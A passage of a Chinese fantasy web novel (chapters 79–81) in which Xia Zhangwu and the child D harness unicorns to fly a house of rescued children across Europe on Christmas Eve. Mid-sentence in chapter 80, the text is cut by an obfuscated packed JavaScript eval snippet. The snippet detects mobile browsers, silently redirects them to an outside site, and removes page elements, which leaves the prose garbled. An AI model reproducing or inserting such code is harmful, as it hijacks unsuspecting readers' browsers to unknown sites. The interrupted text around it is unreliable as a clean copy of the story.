他用有些惊讶、但又有些不解的目光看向面前的人。像是有点困惑于对方为什么会知道这件事,也像是在无声地询问对方为什么知道这件事还会保持着这样的态度。 “别用这种表情看我啊。我才是最应该惊讶和苦恼的那个吧?” 男人侧过头看他,脸上似乎浮现出了一个无奈的笑容,然后用手指戳了戳他的额头,用完全就是在抱怨的语气说道: “一个生性冷淡又理性的孩子,为什么偏偏就选择了我呢?搞得我好像不负责都不行,但我又正好完全负不了责,只能尽可能地为你找到一个可以对你负责的人——话说回来,你有没有想好自己可以被用来喊的称呼?” 男人想了想,很是严肃地说:“否则到时候我给别的领养人介绍你要怎么办?难道要说:你好,这是我们这里的黑发红眼睛吗?不过黑发红眼睛我记忆里好像还有两个呢。” 孩子有些不自在地扭过头,躲过了大人过于自来熟的不间断戳戳戳。 “……只是称呼的话,D就行。” 他说。 大人看上去很遗憾,他问: “所以真的不叫安徒生?” 孩子默默地抬头看他。 “因为不想被这么叫。”他回答。 “好过分,这是叛逆期吗?你其实就是不想要这个我非常用来喊你的称呼,对吧?” “嗯。” “……” “好吧,小孩果然都超级令人讨厌啊。” 79.朋友都是拿来卖的嘛 13世纪,当地时间12月24日的晚上。 “结果过了那么久,这些火还在燃烧啊。” 夏章雾抬起头,看着不远处正在熊熊燃烧着的火焰,发出有些感慨的声音。 在冰川的山脉上面,那天的火焰依旧还没有被熄灭,依旧顽固地攀附在还没有被彻底融化的坚冰上,散发着耀眼的金红色光芒。 在这个只存在着永恒黑夜的冬天里,这里就像是栖息在雪地上的太阳居所。 在夏章雾的身边,那个给自己取了D这样没头没脑称呼的孩子拽着衣角,同样眺望着前方翻滚着的火海。 他总是这样沉默地跟着夏章雾,像是随时都怀疑这个人会随时消失不见一样,不管是在什么场合都是如此。 而或许是出于某种自己都不太愿意承认的补偿的心理,夏章雾本人对这种情况也保持了默认的态度。 于是他们就总是会出现在一起。 包括现在。 “它会停下来吗?还是会就这样继续燃烧下去,直到覆盖满整个冰原?”孩子问。 “肯定会停下来的。” 夏章雾用很笃定的语气说:“这个世界上并不存在永恒的事物。” 更何况,在二十一世纪他也没有听说过什么北欧冰原上燃烧着不灭火焰的奇观,也没有相关的民间传说流传下来。这只能说明这场火最后还是“早早”地熄灭了,以至于没有在人类的历史上留下任何离奇的记载。 D收回目光,转而抬起头看向大人,那对红色的眼睛轻轻眨了两下。 “但冰雪女王说过,这个世界上存在永恒不变的事物。”他说。 “那是因为它在骗你,而你是那种非常容易上当受骗的小笨蛋。” 夏章雾不屑地嗤笑一声,给出的回答也毫不犹豫:“你要知道一件事:告诉你这个世界上存在永恒的家伙有一个算一个,全都是骗子。” 说完这句话,他就用力拽住了手中的缰绳。 在他的身边,嘴部被紧紧勒紧的独角兽在喉咙里发出可怜的呜咽声。这匹原产地绝对不是挪威的神话生物趴伏在雪地上,脖子被夏章雾手中的缰绳紧紧地拴着。 它看上去完全老实了,一点不复几个小时前的嚣张气焰,看上去恨不得比一只家养的犬类还要驯服乖顺。 夏章雾瞥了它一眼,对这家伙相当识时务的态度满意地点了点头。 “走吧,现在应该回去了。” 夏章雾踩上独角兽的背部,然后伸出手,把身旁的小家伙也拉了上来:“算上今天这个被我们逮到的倒霉鬼,应该也足够能够实行那位拉普兰女巫小姐的计划了。” 他们的计划其实也很简单。 就在半个月前,这仅有的三个大人专门聚在一起,为房间里的那整整一百个孩子展开了一场非常严肃的讨论。 讨论的核心话题就是该怎么把这些孩子送到原来的家、或者适合他们生活的家庭里。 有些最近才被冰雪女王拐来的孩子和某些富裕家庭里的孩子或许还能回家,但绝大多数的孩子现在回到家庭里可能面对的也不是什么非常好的未来。 对于他们的父母而言,几年的时间也足够生个弟弟妹妹来取代他们的位置。有的孩子回去后说不定还会成为家庭额外的负担。所以相当大的一部分孩子需要重新寻找寄养的家庭,或者安置在救济院或者修道院。 还有一部分孩子则是已经到了这个时代能进行工作的年龄,比较适合送去当工匠学徒,学一门谋生的手艺。而夏章雾又比较希望其中一部分有足够天赋的孩子能去读书…… 总而言之,整体事态相当复杂,每个孩子都有不同适合的去处。他们很有可能接下来要带着这群孩子要走半个欧洲。 但又由于在场能够负责的大人只有三个,肯定没有办法分头行动,否则这么多的孩子他们光靠自己也绝对管不过来。所以最佳的选择也就只剩下了一个。 ——带着所有的孩子一起走。 也就是说,他们需要一两个足够大的、能够带走这些孩子的交通工具。 嗯,这个就比较麻烦。不过拉普兰女士很快就提出了建设性的意见:他们完全可以制作一个更大的车辇、马车或者是别的什么玩意。 其核心原理就是用力气非常大的动物拉着一个房子跑,这样大家都能轻松很多。 “也可以多增加几个。”拉普兰女士想了想,考虑到力气那么大的动物的确比较罕见,于是又补充了一句,“只要能拖动房子,又不会在赶路时打架就行。” 夏章雾想了想,觉得这要是提前给房子做好了防震系统,似乎还挺有可行性的,于是开口问道:“所以说,你们觉得什么样的动物在这方面比较擅长?” 斯库德很是努力地绞尽脑汁了一番。 “独角兽吧。”他说,“不知道为什么,想起这种事情,总是会觉得独角兽更加适合。而且它们可以带着房子在地上走,也可以在天上飞——独角兽应该会飞吧?” 说这句话的时候,他特意看了一眼拉普兰女士,似乎在征求这句话的对错。但她只是相当果断地摇了摇头。 “这种事我可不清楚。”她说,“我长这么大还没有见过一只独角兽,倒是见过长着独角的鲸鱼群。” 当时的夏章雾顿时精神起来了。 “什么?独角鲸?所以你是在什么地方看到它们的——哦,别误会。” 他兴致勃勃地追问道:“我的意思不是让它们过来拉车,我就是想去看看那群小可爱。上次我还专门为它们跑去了格林兰岛,但这群小家伙太害羞了,我只看到了它们溅起的水花……” 好吧,事实证明夏章雾能和作为狂热动物爱好者的道格拉斯·亚当斯混在一起是有原因的,只不过他对动物的喜爱稍微局限一点: 他只喜欢鸟类和水生哺乳类。 是的,不包括人类变成的渡渡鸟,也不包括狮鹫冰鸟这类不太正常的神话生物。在双重标准这方面,夏章雾向来理直气壮。 “其实它们也很胆小,我当时也只是看到了它们把角伸出水面的样子。” 拉普兰女士下意识地回答,但很快就发现了不对劲的地方:“不过我们现在聊的内容不应该是这个吧?” “现在聊的是独角兽,但我觉得我们一时半会儿也找不到几只独角兽来拉车。” 夏章雾无所谓地耸耸肩:“要不就直接就地取材吧,反正我们面前就有现成的苦力。我觉得靠它们两个也足够把房子拉着飞起来了。” 于是大家一起看向旁边的狮鹫和冰鸟,脑海里纷纷揣测起了它们的拉房子水平。 这两个神话生物则是飞快地意识到了自己即将大难临头。它们抬起脑袋,以如临大敌的慌乱态度交换了一个眼神,然后便“嗷嗷嗷”和“叽叽叽”地叫唤了起来。 已经彻底和人类混熟的狮鹫更是凑过来直接蹭了蹭人类的腰,发出非常可爱的叫声,试图把自己的定位从苦力变成宠物。 与人类并不怎么熟的冰鸟则是相当果断地卖掉了自己在北境认识的所有长翅膀的神话生物,叽叽喳喳地开始用翅膀在雪地上比划,恨不得把它们的老巢和捕食地点都卖个彻底。 “叽叽叽,叽叽叽叽!” 老大,别让我拉车! 我知道这里哪里有独角兽!一大群呢,足够把这个房子给拉起来了!这些家伙难道不比它这只鸟适合拉车多了? “原来这里还真的有独角兽……” 夏章雾缓缓地虚起眼睛,觉得用独角兽拉车确实比这个破鸟要帅气很多:“所以它们的实力怎么样,你能打得过吗?” 一说到这个,冰鸟就来劲了。 总之,它扑棱着翅膀叽叽喳喳地叫了半天,核心要旨就是“那群家伙实力也就那样,就是喜欢在一起仗势欺鸟,老大你出手肯定能把它们全宰了”这样的话。 事实证明它说的也没错。 至少夏章雾收拾这些家伙的全程都没有遇到什么太大的麻烦,很轻松地就把这些倒霉鬼通通拖过来,当成了接下来行动的苦力。 “也不知道拉普兰女士那里到底有没有把车辆的平衡和稳定装置做好。” 夏章雾坐在独角兽背上,对D说道:“如果没有做好的话我们大概还要等一会儿,到时候我顺便训练一下这几个家伙的协同拉车水平,别到时候飞得乱七八糟的,把房子给开坏了。” D歪了下脑袋。 “我记得你之前就训练过它们了。”他说。 “那次训练的结果顶多是让我知道了它们在 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“你非要说的话,那种玩意也许曾经真的存在过吧。”他说,“但那已经被我给毁掉了。而且我想未来也不可能再出现这样的东西。” 夏章雾眯起眼睛看向远方的夜晚。 那里星星稀疏,月亮不见踪影。 唯一还亮着的只有挂在独角兽脖上的提灯,散发着宛若星辰般幽微、但更加温暖的光芒。 D拽着对方的衣角,同样望向天空,似乎对这个答案感到了更加深的不解。 “所以——为什么要杀掉永恒呢?” 他这样问道。 永恒应该是一个很圆满的概念,一个被人类始终追求的概念。它象征着无穷无尽的时间可以被用来体验这个世界、追逐自己的所爱、达成自己任何想要达成的目标。 为什么要杀死“永恒”? “因为永恒本来就是一种对人类来说过于危险的东西。对于人类来说,它唯一的作用就是把人变得不再是人类。” 而先知这样回答了他:“它的存在就像潘多拉盒子里的希望。相比起其他的灾难,它好就好在永远会待在盒子里,再也不被人找到。” 说这句话时,夏章雾回想起了自己在那个傍晚亲手砸碎八音盒的瞬间,也回想起了冰雪女王对自己说的话。 ……想要把雕像变成人类,想要把可以永恒存在的塑像重新拉入时间的洪流当中,那么就必须要支付对应的代价。 最后他想起了巴别塔的故事。 “听起来很像是巴别塔的故事。” D似乎思考了片刻,这样开口。 “就是很像巴别塔的故事。” 夏章雾有些诧异地看了眼这个孩子,给出了肯定的回答。 那座传说中最高的塔或许能通向宇宙,但却永远都无法抵达神所在的地方,也无法让神能够更近地聆听自己的声音。他们制造的或许是人类历史上最伟大的奇观、彰显的是人类最精湛的技艺与能力。 但那已经偏离了神明的道路。 ——但那已经和“爱”无关。 在所有人都忘记了究竟该如何践行神明的道路时,名义上是为与神明沟通而建立的高塔不过是一种面向神明的炫耀:炫耀着人类可以通过自己的理性、自己的技艺来接近神,而不需要再通过爱这样笨拙的方式。 所以人类失去了沟通彼此的能力。在未来,分裂的人类只能依靠理解与宽容来再次沟通,依靠爱再次联合在一起。 ——这就是故事的结局。事情就是这样。 “所以永恒尽管能让人得到很多东西,但势必也会让人失去更多让他成为他自己的、最重要的东西吗?” D很认真地想了想,最后说道:“我明白您的意思了,我会谨记的。” 他回头看向身后。 那片火还在燃烧。 就在被带着离开了那座燃烧的高塔时,他就感觉到自己拥有了某种特殊的能力。 ——某种可以通过取代杀死自己的人,永远活下去的能力。几乎相当于永恒的能力。 但他现在明白了,这份“永恒”是有代价的。 他将这份代价铭记于心。 80.这播不播得啊? 在这个圣诞节的前夕,芬马克地区森林边,木屋前几乎所有的人都在忙忙碌碌。 拉普兰女士正在忙着用仪式魔法对这个房子的魔法防震系统做最后的测试。吟游诗人斯库德则是在和自己的儿子一起清点行李的数量。 至于那些孩子:有的在帮忙锯木条和给轴距上松木油,有的在一起搬柴火,有的在推着巨大的轮子跑来跑去,有的是在认真地统计着在场其他孩子的数量。 他们的年纪都已经足够大了,以中世纪的标准来看已经距离成年不远,自然也分担起了一部分大人们无暇顾及的工作。 但其中还有些特别小的孩子们。他们的生活中还不需要考虑那么多,只需要在旁边不打扰任何人地玩耍就可以了。 现在他们就在一起睁大着眼睛,好奇地看着那些垂头丧气的神话生物们。 那是三匹倒霉的独角兽。不过与普通传说中的独角兽不同的是,它们的独角上面生长着几十根长长的空心枝杈。 寒冷的北风灌入它们的独角,便发出了相当空灵的动听声响,宛若无数一起叮叮当当作响的小铃铛。 ——只不过此刻那些角中发出的声音听上去并不怎么愉快,甚至可以称得上沮丧。 大概是它们已经认清自己的命运了吧。 此时的狮鹫和冰鸟正在你一嗷我一叽地抓紧时间,给那它们努力灌输着当一名合格交通工具应该具备的技巧。看上去像是生怕它们因为不合格而被刷下去,最后要自己上场。 “叽叽叽叽!” 其中冰鸟教的最热情,也可以说是态度最趾高气昂。它拍着翅膀,在自己的老邻居面前耀武扬威地叫唤着,身后长长的尾羽翘得差点拍在狮鹫的脑袋上。 不过孩子们的注意力并不全在它的身上。 以冰的形态存在的事物他们在高塔上面已经看得够多了。他们只是看了一会儿就又抬起头去看上面漆黑的夜空,然后就兴奋地欢呼起来。 “是星星!” 一个孩子指着天上的发光体说。 “是会动的星星!” 另一个孩子高兴地蹦蹦跳跳。 “是勒托叔叔呀!” 小女孩欢快地笑。 她第一个朝“星星”落下的方向跑了过去,其他的孩子也纷纷跑了过去。 于是戴着D降落在了小屋边的夏章雾甚至还没有来得及下来,就这样莫名其妙地接受到了一群孩子前赴后继的拥抱。 这群孩子热热闹闹地围着他,举着小手问他要出门带回来的礼物。不过好在夏章雾也早有准备,他掏出了一包用羊皮纸包着的烤肉,把它递给了那群咯咯直笑的孩子。 于是孩子们拿走了自己的那份小零食,爬到独角兽的身上对可怜的大人又亲又抱,最后欢天喜地地全部跑远了。也有的是在好奇地摸了摸独角兽的脑袋后才跑开。 只留下夏章雾头疼又使劲地揉了揉自己被孩子们亲了又亲的脸颊,只感觉这群像是小蝗虫一样涌过来的孩子比独角兽可怕得多。 “幸好我提前准备了用来贿赂他们的东西。” 不过先知对自己的先见之明还是很是引以为豪的。他满意地拍了拍独角兽脑袋,突然觉得这家伙当不了坐骑的话,当炉灶也不错:“独角兽的角确实很适合钻木取火。” D轻巧地从独角兽背上跳了下来。 “可是如果你一开始就不带东西回来,那么他们也不会专门在这里等这份礼物。”他说。 这倒是个问题。 夏章雾咳嗽了一声,然后他就听到了作者在旁边发出的仿佛看热闹的笑。 “那是我判断失误了。” 他对此的反馈是恶狠狠地瞪了眼随便什么方向,然后才有些郁闷地说道:“果然我就不该给未成年什么好脸色。他们一个个都知道该怎么顺着杆子爬。” D眨了一下眼睛。 这个同样很擅长此类技巧的孩子并没有多说什么,他只是主动牵过独角兽的绳子,带着它往前面另外几只倒霉独角兽的训练场走去。 独角兽此时也认清了现实,十分温顺地跟着他往前面走。 夏章雾则是主动找到了正在努力尝试用魔法让房子漂浮起来一点点、好成功地把轮子给装上去的拉普兰女士。 “你这里的情况怎么样?” 他看了眼施工现场,好奇地问道。 “非常好。马上我们就可以让那些大家伙带着这个房子试飞一下了。” 拉普兰女士正在专心地用刷子填补最后一部分的魔法阵,闻言也只是头也不抬地回答:“接下来的时间大家可以一起举办个宴会,等到宴会结束后我们就直接出发。” 宴会?夏章雾愣了一下。 “你们还准备了宴会?”他说。 这件事他之前可从来都不知道,似乎从来都没有人和他提起过。 “毕竟宴会总不能在高空上面举办吧?那样我会很担心会不会有那个傻瓜因为太高兴,直接从上面跳下来。” 拉普兰女士这样回答,并且终于抬起头瞥了夏章雾一眼,然后用认真的语气说道: “更何况,我觉得这样带一百个孩子回家的空中旅行也不应该以草率的姿态开始。你不觉得它很像某个传奇故事的开篇吗?” 夏章雾再次咳嗽了一声。 他开始感觉女巫的最后这句话是在模仿某位吟游诗人的口吻,甚至有可能就是吟游诗人这么教她说的。 不过宴会这种东西…… “其实这更像是传奇故事的结束吧。” 他很是艰难地说:“而且我觉得这种事也没有一定要举办宴会的必要,我的意思是——就算想庆祝,也不一定非要这么隆重?” 拉普兰女士依旧凝视着他。 只是她的目光俨然犀利了起来,仿佛已经看穿了先知的小心思。 “不准逃跑、不准逃避。”她说,“你必须要参加这次的宴会。你可是把那群孩子从永恒的寒冬当中拯救出来的人,为什么要感到害怕?” 就连在旁边统计物资的吟游诗人斯库德也凑了过来。他大概是听到了两人之间的对话,于是也凑起了热闹,在旁边煞有其事地附和起来。 “没错哦,勒托先生。” 他挠了挠脸,脸上浮现出傻乎乎的笑容,但还是认真地说道:“其实大家都非常可爱,您也没有必要感到害羞的。而且总是躲着大家,天天往外跑也不是个事啊。” “对呀,参加吧,勒托叔叔!” 他的儿子凯恩也在旁边高兴地说道:“大家其实都朝喜欢你的!” 不不不不,这根本就不是害羞的问题吧! 夏章雾欲言又止,最后还是没能说出什么足够有力的反驳,只能满脸绝望地抬头看着天空。 一百个小孩子! 这个可是一百个小孩子参加的宴会! 光是想想就知道这是多么纯粹的灾难了:平时他去参加有一个未成年人存在的宴会,现场就足够鸡飞狗跳了。一百个未成年人在一块能制造出什么样的效果,他想都不该想。 “真的必须要参加?” 他叹了口气,不抱希望地做出了自己最后的挣扎:“和别的没什么关系,我只是真的不太能和还没有成年的人相处……” “必须。”拉普兰女士的回答斩钉截铁,直接熄灭了夏章雾心中所有的希望,同时手中落下了魔法阵的最后一笔。 她后退几步,看着自己完成的艺术品,然后便轻松地把工具丢到了旁边的油桶里,脸上重新浮现出笑容。 “更何况,你和D相处得也不错。”她说,“你也不是完全不会应付小孩子嘛。” ——可恶,竟然是输在了这个上面吗! 夏章雾深吸了一口气,只感觉到了深深的痛心疾首,于是用余光怨气十足地瞪了一眼正在朝他们走过来的D。 那孩子被瞪得似乎有点莫名其妙,歪着头有些疑惑地看了夏章雾一会儿,最后还是走到了他的后面,抓起对方的衣角。 “不管怎么说,既然计划没有出问题,那我就先走了。嗯……你们到宴会开始的时候再来喊我吧。” 夏章雾用力地搓了几下小孩子的脑袋,重新往回走去,朝自己这几位在中世纪认识的朋友摆了摆手,有些不情不愿地说道:“反正你们也知道我经常待在哪里。” D也快步地跟了上去。 他们一起向森林的方向走去。而剩下的两个人则是目送着他们的离开。 “所以说,这就是先知吗?因为总是在相聚时提前预见到了分别,以至于甚至无法从从相聚的时光当中获得满足。” 拉普兰女士轻声说道,似乎叹了口气:“还真是糟糕的天赋啊。” “不过他似乎和D那孩子相处得很好。” 斯库德若有所思地说:“还真是难得。” “所以说,这大概就是缘分吧。” 说到这里,这位来自拉普兰的女巫重新振作了起来。她转头看向吟游诗人:“走啦,我们接下来还有很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586400|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多事要做,要把槲寄生挂到房子上,还要继续布置今晚的宴会!” 于是斯库德也回过神来,微笑着点了点头:“也是,我记得厨房里面还有用来做水果馅饼的材料,等会儿也做一些吧。” 夏章雾还不知道自己接下来除了需要面对小孩子,还要面对水果馅饼——事实上尽管他不怎么挑剔食物,但是他真的不喜欢吃水果馅饼。 他只是像那些会按照规定路线巡视自己领地的生物一样,来到了自己经常待着的桦树上,满脸抑郁地思考起了自己接下来几个小时的未来。 “你不太开心。” 他身边的D这样说。 于是夏章雾表情就变得更加抑郁了。 “遇到这种事完全就没有办法开心起来吧!还有几个小时,我就要去面对数量超级超级多的未成年了!” 他躺倒在树干上,发出痛苦的呻吟声,伸手虚弱地比划着,语气则是越说越接近咬牙切齿: “那么、那么多的小孩子——可恶,我为什么总是会遇到那么多的孩子!他们活着的时候很令人沮丧,死了的时候更令人沮丧。嘻嘻哈哈的时候很麻烦,哭起来的样子还要更麻烦!” “是啊,为什么呢?” 画外音在边上毫不心虚地说:“想必是某个人总喜欢和自己的造物主顶嘴,所以受到了来自命运的惩罚吧。” 呵、呵。 夏章雾的嘴里已经发出了充满怨念的嘎吱嘎吱磨牙声。D看着他的表情,歪过头,突然有些好奇地询问道:“所以,这其实是上帝对你设下的考验吗?” “诶?” “哈?” 作者和主角口中齐齐发出惊讶的声音,像是完全没有想到这个孩子竟然还能想到这一层。最后还是作者第一个反应了过来,兴冲冲地“承认”了自己的行径。 “没错没错!这就是我为了锻炼亲爱的主角先生而亲自设下的考验,目的就是为了让他能后学会面对和对抗自己的弱点!” 作者得意洋洋地说:“这可是我针对你进行的试炼哦,主角先生。” “你先给我闭嘴。” 夏章雾冷酷地说,然后用坚定无比的态度反驳了D的话:“而且你也把那家伙想太好了。我之前就说过,那其实就是个充满恶趣味的混蛋,才没有那么好心。这么做的原因大概也就是觉得我这种苦恼的样子很好玩。” D眨了眨眼睛,于是换了个说法。 “那这其实是惩罚吗?”他问。 “什么嘛,我才没有那么小心眼!”作者立刻叫了起来,“主角,给我纠正一下这孩子的错误想法。” 这句话听起来好像有点不太对劲,但其实仔细想想也没错…… 但夏章雾看在作者急得叫叫嚷嚷的份上,姑且还是谨慎地点了点头,同时狐疑地打量着对方,生怕对方接下来的一句话又是什么重量级的发言。 但D没有继续说这个话题。 他只是露出了“原来是这样”的神情,看上去仿佛已经明白了一切,让夏章雾的心里都不由自主地咯噔了一下。 不过虽然很想问“你到底都明白了什么”,但夏章雾还是硬憋着没有开口:万一对方其实没有理解错呢?他这样冲上去纠正岂不是很尴尬。 D也没有继续纠结这个到底是考验还是惩罚的问题。 “所以你也讨厌我吗?”他问。 这句就很像个小孩子会问的问题了。夏章雾松了口气,微微一笑,紧接着便给出了毫不犹豫的果断回答。 “当然。”他说,“对我来说,你绝对算是这里所有孩子中那个最大、也最严重的麻烦。” “……”孩子沉默了片刻。 他看上去有点像是被大人的回答伤了心,但很快就提出了第二个问题。 “如果我长大了呢?”他认真地问,“那你还会讨厌我吗?” 这个的话,我其实根本没有机会看到你长大后的样子啦。夏章雾扯了下嘴角,在心里默默地这么想。 毕竟他大概是不会再回到这个时代,就算是真的在未来能回到这个时期,大概也不会那么巧地能够和未来长大了的这孩子见到。 不过,既然如此—— “那大概就不会那么讨厌了?” 他耸耸肩,漫不经心地笑着回答:“毕竟已经不是孩子了嘛。不过那也是很遥远的未来才会发生的事情了,至于现在……” 夏章雾张开翅膀。 “去参加宴会吧。”他挪开视线,这么说。 81.中世纪人会梦见圣诞老人吗 那一天是个很温暖的夜晚。 篝火在积雪的树林当中烧得明亮又旺盛。那是狮鹫衔着树枝去火海那儿带来的火种,就算是在北地的寒风与积雪当中也可以熊熊燃烧。 那群小孩就像夏章雾最糟糕的想象里那样闹腾。他们简直是无法无天,在火旁兴奋地互相追逐玩耍,在雪地上尽情地打滚,为美味的食物高兴地叫叫嚷嚷。 有的孩子还会故意使坏,在烤肉上面撒冰冰凉凉的雪,骗着自己的同伴咬一口。而上当受骗的倒霉蛋则会发出生气的尖叫,开始恼怒地追逐自己的那些混蛋朋友。 整个宴会都乱得要命。那群孩子制造出的节目效果简直比他曾经经历过的那个死亡世界还要混乱和令人摸不着头脑。 至少夏章雾觉得自己永远都不会明白,为什么他明明都摆出了一张不希望有任何人靠近的表情,但还是有一大群孩子围着他。 他无奈地瞅着面前。 一个他不知道名字的男孩正在眼睛亮晶晶地看着他,整体上呈现出某种跃跃欲试的姿态——至于他到底跃跃欲试地想要干什么,夏章雾宁愿自己一辈子都不知道。 而其他的孩子也都躲在那个男孩后面,纷纷用闪闪发光的目光盯着他看,眼神中有一点对他故意板起脸的害怕,但更多的是好奇。 夏章雾被他们盯得简直是头皮发麻。 他试探性地往前走一步,于是这群孩子就小心地后退一步。他往后面走一步,孩子们就向前走上一步,继续盯着他看。 就这么无声地对峙了好几秒,满头雾水的夏章雾才明白了这到底是怎么回事:这群孩子正在扮演一群正在挑战恶龙的勇者,而他自己就是他们挑战生涯当中的那条恶龙。 ——这都是什么事啊! 于是他干脆展开翅膀,带着跟在他后面的D从这一头飞到了那一头,暂时脱离了这群年轻勇士们的包围圈。 “所以他们到底是怎么想的?难道我摆出的那副样子还不够让他们知难而退吗?” 他拿翅膀拢住自己,嘟哝着对身边的孩子抱怨道:“难不成我还要表现得更吓人一点?而且想要玩这种游戏,他们完全可以去和真正的龙玩啊,我宁愿给他们捉条龙……” D正在很专心地看着夏章雾那对羽翼上那几根正在风中微微颤抖着的黑色飞羽,听到这句话后才抬起头,认真地思考了几秒。 “可能是因为太有挑战性了。” 他说:“就像是看到了一扇被挂了好几道门锁的门,就算知道自己不可能解开锁,但也会忍不住凑过去看一看吧。” 夏章雾眨了眨眼睛。 他发出有些茫然的声音:“啊?” 或许是因为这个回答太让不理解小孩子心理的大人震惊了,他甚至都没有反应过来有好几个孩子蹑手蹑脚地接近自己。 于是接下来的结局就很好理解了。 ——夏章雾被几个未成年人成功地偷袭,并不得不倒了大霉,身上被爬满了小孩。而那群战胜了恶龙的孩子则是抱着他,咯咯笑得很开心,把脑袋埋在大人还没有收回去的羽翼里。 就连D都在旁边轻轻地笑了一声。 夏章雾:“……” 夏章雾安详地阖上了双眼:“咕噜咕噜。” 那一天的事情就是这样。那大概是历史上首次天使成为了人类的战利品,以至于孩子把沦为俘虏的夏章雾拖回去时,连吟游诗人都没忍住,直接笑出了声。 也是在那一天的晚宴结束后,所有的人都开始准备启程。很想通过撞死来度过这一天的天使也被孩子们拽着带到了驾驶位上。 当然,天使本人不是很愿意。 “我想死。”他有气无力地说。 “但你要开车。”待在他旁边的D认真回答。 “我觉得我马上要死了。”他继续说。 “但你要开车。”D依旧坚持着那句话。 “唔呃呃呃那个可恶的家伙,竟然不给我什么消除记忆的东西,我真的很需要用那玩意把今天在场的每个人记忆清空啊!” “……不要向别人用打滚的方式撒娇,勒托先生。你要开车。” 说出这句话后,本来还在以半死不活的姿态哼哼唧唧的夏章雾瞬间就“活”过来了。而他活过来后说的第一句话就是: “这完全和撒娇是两码事吧!” 他特别大声地喊道:“而且我为什么要对着那个没有良心的混蛋造物主撒娇!” “……”画外音沉默了那么几秒。 “好吧,我承认,我此时确实需要一个比蠢货更有攻击性的词。”它说。 然后它便不再管这里发生的事情,不知道跑哪里去了,消失的速度快到硬是没让夏章雾来得及说出下一句台词。 于是主角先生只好看了看自己身边的未成年人,结果只是得到了对方格外冷漠无情的目光。 “您应该去开车了。”他再次重复。 称呼从“你”变成“您”了啊。 夏章雾突然意识到对方大概有点不高兴,于是也只好不情不愿地从假装自己死了的状态中恢复过来,假装自己又突然复活了。 “好吧。”他拉住紧紧勒着独角兽的缰绳,发号施令,“我们走!” 于是那些倒了大霉的独角兽们便展开双翼飞行起来。这次它们飞得要比以前整齐很多,至少能够平稳地带起后面的房子。 随后它们的速度越来越快、越来越快。从贴地飞行逐渐平缓地飞向天空,绷直了缰绳,带着整个被施了魔法的房屋都稳稳地飞了起来。 在这个没有夜晚的平安夜,他们一起飞过了北极的夜空。 独角兽独特的长角在空气中发出一连串清越动听的铃声,间或在北风中发出两三声宛若长笛或者哨子的声音。 被它们拉动的女巫小屋,在空中就这样伴随着音乐的声音飞翔起来,在星星的光芒和雪地反射的星光包裹下,就像是点缀在茫茫夜晚当中的一枚音符。 D在旁边紧紧地拉着夏章雾的衣袖。 他不是第一次感受到飞翔的感觉。 但此刻的他依旧像是第一次飞行那样,专注且眺望着雪地的尽头,双眸明亮。夏章雾轻轻地揉了揉他的脑袋,然后便驾驶着动物们往前方继续飞去。 在他们的身边,骑着冰鸟的女巫发出轻快的笑声,然后她便带头向前飞去。她要先去前方的城镇看看情况,并确定他们的房子到底要在哪里停留。 而狮鹫则是在他们的周围发出轻快的啼鸣,振动着自己宽阔的翅膀,给那群发出阵阵欢呼的孩子表演着杂耍般的飞行技巧。 斯库德此时并不在狮鹫上。 因为他还要照顾房间里的孩子,防止有过于热爱冒险的家伙翻过栅栏,不小心掉下去。狮鹫起到的也是类似的作用——它主要是在下面,负责接住任何有可能突然出现的高空坠物。 事实上,这些孩子也确实很兴奋。 尽管他们都不是第一次坐这种可以飞上天空的载具,但他们还是和D一样,对这种经历保持着充足的好奇心。 孩子们的脑袋从窗户处冒出来,叽叽喳喳得就像是冬天聚成一团的小麻雀,满脑子都是那些稀奇古怪的念头。 “今天的天上怎么没有云呀?”有小孩子说。 “没有云也没关系,但是我们会遇到天上飞的鸟吗?”另一个孩子好奇地问。 于是孩子们就针对这个话题讨论了起来,闹哄哄地吵成一团,各个都想要伸出脑袋看外面到底有没有小鸟。 “所以我们能在天上用钓竿钓小鸟吗?” “笨蛋,我们根本就没有钓竿!” “但是我们可以尝试着做一个出来!” “那我们为什么不直接做一个渔网呢?” “如果我们网住一群小鸟,那小鸟会不也能把我们带着飞起来?” “噗咳咳咳——” 斯库德像是被这种快乐的气氛感染了,声音听上去像是在强忍着笑意:“不要急,等到我们遇到鸟的时候再讨论吧。” 小孩子们于是不急了,只是还在叽叽喳喳地快活讨论着: “对哦,遇到鸟的时候再说!” “所以说,我们到底要不要提前准备好钓竿和渔网呢?” “为什么捉鸟的东西和捉鱼的东西可以是一样的,是不是因为它们就是一样的东西呀?” 没有人告诉他们天上飞的鸟绝不会接近一只狮鹫和好几匹独角兽组成的队伍。也没有人告诉他们鸟是没法带着孩子飞起来的,就算是再小的孩子都一样。 但估计就算是告诉了,这些孩子也会一样地高兴吧。 感受着脸侧划过的冷风,听着那些远离自己的未成年人说的傻话,夏章雾眯起眼睛,脸上露出若有若无的笑容。 好吧,只要那群小孩子不主动跑过来找他的麻烦。在针对未成年人的问题上,他还是能勉强拿出比较宽容的态度的。 就这样,夏章雾驾着神话故事中的生物们,带着身后的房车掠过中世纪的夜空,掠过这个还有人零零星星点亮着灯火的夜晚,掠过神话生物们还没有入睡的山岗。 已经明白了这些生物飞行基本步调的夏章雾吹了声口哨,拉扯缰绳,让独角兽群在空中轻巧地转了个弯,绕着山峦往前飞去。 铃铛的声音发出一个优雅的变调,在风向的改变下升了一个小调。 ——这可比开直升飞机有趣多了。 他微笑着想,侧过头去看后面的人们。 孩子在为那个拐弯发出激动的喊声,乱七八糟地为前面驾驶的人鼓掌。还有人把挂着槲寄生的树枝从窗户举了出来,当成彩旗在空中用力地挥舞着。 狮鹫则是在下方发出兴奋的“嗷呜”声,同时用力地拍打着那对美丽的金色翅膀,似乎飞行的方式越复杂,越符合这只喜欢炫耀自己本领的大猫的心意。 于是他们继续拐弯,以弯弯曲曲的路线向着 